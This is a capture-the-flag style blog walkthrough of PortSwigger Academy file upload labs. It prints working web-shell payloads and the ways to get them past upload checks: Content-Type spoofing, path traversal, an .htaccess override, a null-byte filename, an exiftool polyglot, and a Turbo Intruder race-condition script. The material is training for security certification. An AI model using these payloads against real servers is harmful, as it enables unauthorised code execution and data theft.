Road to BSCP - File Uploads

Road to BSCP - File Uploads

Walkthrough of Burp Suite Academy labs on File Upload vulnerabilities

·

6 min read

Remote code execution via web shell upload (Apprentice)

This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.

If the web server allows to you to upload server-side scripts (Python , Java , PHP) and is configured to execute those files.

Then we easily compromise the server by uploading a web shell.

To solve this lab, we only need to retrieve the contents of a file. This can be done with the following POC:

<?php echo file_get_contents('/path/to/target/file'); ?>

Web shell upload via Content-Type restriction bypass (Apprentice)

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

The application will attempt to validate the Content-Type passed in the request body and send the following error if a mismatch happens:

HTTP/1.1 403 Forbidden
Date: Tue, 26 Apr 2022 07:21:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 223

Sorry, file type text/html is not allowed
Only image/jpeg and image/png are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

However, this does not prevent us from injection a valid type while keeping the filename to an executable server-side script, such as evil.php

(...)
------WebKitFormBoundarynfEdw6sERB5CQvLy
Content-Disposition: form-data; name="avatar"; filename="evil.php"
Content-Type: image/png

<?php echo file_get_contents('/home/carlos/secret'); ?>

------WebKitFormBoundarynfEdw6sERB5CQvLy
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarynfEdw6sERB5CQvLy
Content-Disposition: form-data; name="csrf"

mPtLHQ1kYhKfqvY1DAwP3wIZWtfHJ6dK
------WebKitFormBoundarynfEdw6sERB5CQvLy--

Web shell upload via path traversal (Practitioner)

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

The web server is configured not to execute files in the files/avatar/* directory.

However, it is also vulnerable to a Path Traversal attack in the filename part of the Content-Disposition header.

We can leverage this to upload our malicious code to an executable location:

  1. Attempt to upload exploit.php one directory higher using filename=../exploit.php
  2. Notice the web server performs some validation and strips everything before the trailing slash
  3. Bypass the validation by URL-encoding the trailing character
  4. Access the page at files/exploit.php, which gets executed by the web server
  5. Done

Web shell upload via extension blacklist bypass (Practitioner)

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

The web server maintains a blacklist of restricted file extensions, such as .php. This can easily be bypassed by modifying our file extension to .php3|.php5

  • Upload exploit.php5 file to /files/avatar/exploit.php

Note that the contents of the file will be displayed back to us. This means the web server is not configured to execute files of this type

One way to force the web server to execute our malicious file is to overwrite its base configuration. The application runs on Apache which stores its configuration on a special file named .htaccess (httpd.apache.org/docs/2.4/howto/htaccess.html).

The application lets us upload our own .htaccess file to the root of the /avatar directory; this will overwrite the web server base config for this directory

  • Upload a .htaccess file with the following contents
# Instruct Apache to execute the following extensions as PHP
AddType application/x-httpd-php .htm .html .php .php5
  • Now we can load our exploit.php5 page again, and retrieve /home/carlos/secret

Web shell upload via obfuscated file extension (Practitioner)

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

The web server maintains a file extension whitelist to only accept the .jpg|.png file type(s). However, it is not dealing properly with obfuscations techniques, such as a null-byte injections

  • Upload our payload with the following name exploit.php%00.jpg

This technique works by exploiting the discrepancy in parsing between Apache and the application's logic. The validation on the backend side will pass, since it views the filename as exploit.jpg; while the web server will interpret the null-byte character and upload the file as exploit.php instead.

Remote code execution via polyglot web shell upload (Practitioner)

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

The web server is validating the file's magic bytes to verify its type (JPG, or PNG). We can obfuscate our payload by injecting it into the image metadata using exiftool

➜ exiftool -comment="<?php echo file_get_contents('/home/carlos/secret');?>" placeholder.jpeg

Web shell upload via race condition (Expert)

This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.

We are offered a glance at the source code of the application. While it could be solved following a complete black-box approach, these kinds of issues are generally difficult to spot without prior analysis of the application logic.

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

The vulnerability we are trying to exploit here is a race condition during the time checkViruses() and checkFileType() are called

Using Turbo Intruder, we queue up two requests:

  • The POST file upload request, that will attempt to upload exploit.php

  • The GET request that will attempt to retrieve the file on the web server

If we manage to hit the file before unlink($target_file) is called; we should get the secret.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=3,
                           )

    request1 = '''POST /my-account/avatar HTTP/1.1
Host: ac351fab1eba7786c06ab3de00e70004.web-security-academy.net
Cookie: session=t81B99W9dE1Wav2tS3V19kwqog3yUQpE
(...)
Connection: close

------WebKitFormBoundarydjKCFejjohv8w0wG
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/html

<?php echo file_get_contents('/home/carlos/secret'); ?>

------WebKitFormBoundarydjKCFejjohv8w0wG
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarydjKCFejjohv8w0wG
Content-Disposition: form-data; name="csrf"

bZGUpif87wluOD1LACJYtDecHw7oT9ts
------WebKitFormBoundarydjKCFejjohv8w0wG--
    '''

    # make sure to end the GET request with \r\n\r\n
    request2 = '''GET /files/avatars/exploit.php HTTP/1.1
Host: ac351fab1eba7786c06ab3de00e70004.web-security-academy.net
Cookie: session=t81B99W9dE1Wav2tS3V19kwqog3yUQpE
(...)
Connection: close

    '''

    engine.queue(request1, gate='race1')
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(2):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)